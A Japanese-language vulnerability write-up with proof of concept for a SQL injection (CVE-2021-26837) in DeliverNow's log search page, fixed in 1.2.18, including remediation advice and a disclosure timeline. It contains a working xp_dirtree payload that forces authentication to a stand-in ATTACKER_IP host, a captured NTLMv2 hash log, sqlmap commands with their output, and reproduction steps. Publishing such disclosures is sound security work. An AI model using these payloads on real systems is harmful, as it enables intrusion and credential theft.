
CVE-2021-26837 - HelpSystems/Fortra DeliverNow の SearchTextbox パラメータにおけるSQLインジェクション。ペイロード、注釈付きリクエスト、および証拠。1.2.18で修正済み。
HelpSystems / Fortra DeliverNow におけるSQLインジェクション
DeliverNowのログ検索ページ(/LogGrid.aspx)のSearchTextboxパラメータは、パラメータ化もサーバーサイド検証も行われずにSQL Serverクエリに直接連結されます。また、アプリケーションは生成されたSQL Serverパーサーエラーをそのままユーザーに表示していたため、これが最初にこのバグが顕在化した経路となりました。
データベース接続はsaで実行されていたため、このインジェクションはインスタンスに対する完全なsysadmin権限を継承していました。これにより、攻撃者が制御するUNCパスに対してmaster.dbo.xp_dirtreeを呼び出し、SQL Serverサービスアカウントに外部への認証を強制することが可能でした。
内部ペネトレーションテスト中に発見されました。ベンダーによりDeliverNow 1.2.18で修正され、CVE-2021-26837として公開されています。
Show Up Show Out SecurityのSedric Louissaint氏によって発見および報告されました。
| CVE | CVE-2021-26837 |
| 製品 | DeliverNow(HelpSystems、現Fortra) |
| 影響を受けるバージョン | 1.2.18より前(当初のアドバイザリでは1.2.18以前と記載) |
| 脆弱性 | CWE-89: SQLインジェクション |
| CVSS 3.1(NVD) | 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2(研究者) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| 公開日 | 2023-09-19 |
| テスト環境 | Windows Server 2019 Datacenter 10.0 (x64)、SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |
NVDの説明:
Fortra(旧HelpSystems)DeliverNow 1.2.18より前のバージョンにおけるSearchTextBoxパラメータのSQLインジェクション脆弱性により、攻撃者が任意のコードを実行し、権限を昇格させ、機密情報を取得することが可能です。
POST /LogGrid.aspx、ボディパラメータSearchTextbox。このフォームはアプリケーションのログビューにある検索コントロールです。ddlFieldNameで検索対象の列を選択し(以下のリクエストではDescription)、SearchTextboxが検索語を保持します。
シングルクォート1つで証明できます:
blah'
レスポンスはSQL Serverパーサーエラーをページ内に直接表示します:
Info: 文字列 '' の前後に終了引用符がありません。' の付近に不適切な構文があります。

このエラー開示自体が単独の脆弱性です。これにより、盲目的インジェクションだったものが完全に対話型のインジェクションに変わります。
接続がsaで実行されているため、master.dbo.xp_dirtreeが利用可能です。これを自分が制御するホスト上のUNCパスに向けると、SQL ServerサービスアカウントがSMB経由でそのホストに対して外部認証を行います:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

完全なリクエストはpoc/exploited-request.http、ペイロードはpoc/payloads.sqlにあります。

Impacketのsmbserver.pyを待ち受け状態にすると、ターゲットのSQL Serverサービスアカウントが認証を行い、NTLMv2ハッシュを漏洩させます:
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

このハッシュはオフラインでのクラッキングや、別のホストへのNTLMリレーに使用できます。
sqlmapがインジェクションと権限レベルを確認します:
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

saであるということは、インスタンス上のすべてのログインハッシュが読み取り可能であり、xp_cmdshellはsp_configureの呼び出し1つでホスト上でのコマンド実行が可能になることを意味します。
自分が所有する、またはテストを許可されたラボ環境のインスタンスに対して:
http://<host>:1080/)にブラウザでアクセスし、ログを開きます。blah'を入力して送信します。脆弱なビルドではSQL Serverパーサーエラーがページ内に表示されます。sudo smbserver.py c . -smb2support
poc/payloads.sqlのxp_dirtreeペイロードを、自分のIPアドレスに置き換えて送信します。脆弱なビルドではSQL ServerサービスアカウントからのインバウンドSMB認証が発生します。sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
poc/
payloads.sql SearchTextbox用の検出および帯域外ペイロード
exploited-request.http sqlmap -r で使用できる完全なPOSTリクエスト
sqlmap.md sqlmapの実行コマンドと期待される出力
media/
01-sql-error-in-log-search.png
02-xp-dirtree-payload-in-searchtextbox.png
03-forced-auth-captured-impacket.png
04-sqlmap-sa-enumeration.png
05-exploited-http-request.png
キャプチャ内のホストとハッシュは元のエンゲージメント時のものであり、現在は使用されていません。再現時には自分のリスナーアドレスに置き換えてください。
saとして接続するのをやめる。 アプリケーションが必要なのは自身のテーブルへの読み書きアクセスです。sysadminやxp_dirtreeは必要ありません。最小権限の原則はインジェクション自体は防げませんでしたが、影響を封じ込めることはできたはずです。ベンダーによりDeliverNow 1.2.18で修正済みです。アップグレードしてください。
| 日付 | 出来事 |
|---|---|
| 2021 | 内部ペネトレーションテスト中に発見され、HelpSystemsに報告 |
| 2021 | DeliverNow 1.2.18で修正 |
| 2023-09-19 | CVE-2021-26837がNVDに公開され、9.8 Criticalとスコアリング |
ベンダーによる修正後に公開されたもので、防御および教育目的です。ここにあるペイロードは何年も前にパッチが適用されたバージョンを対象としています。自分が所有していない、または書面によるテストの許可を得ていないシステムに対しては実行しないでください。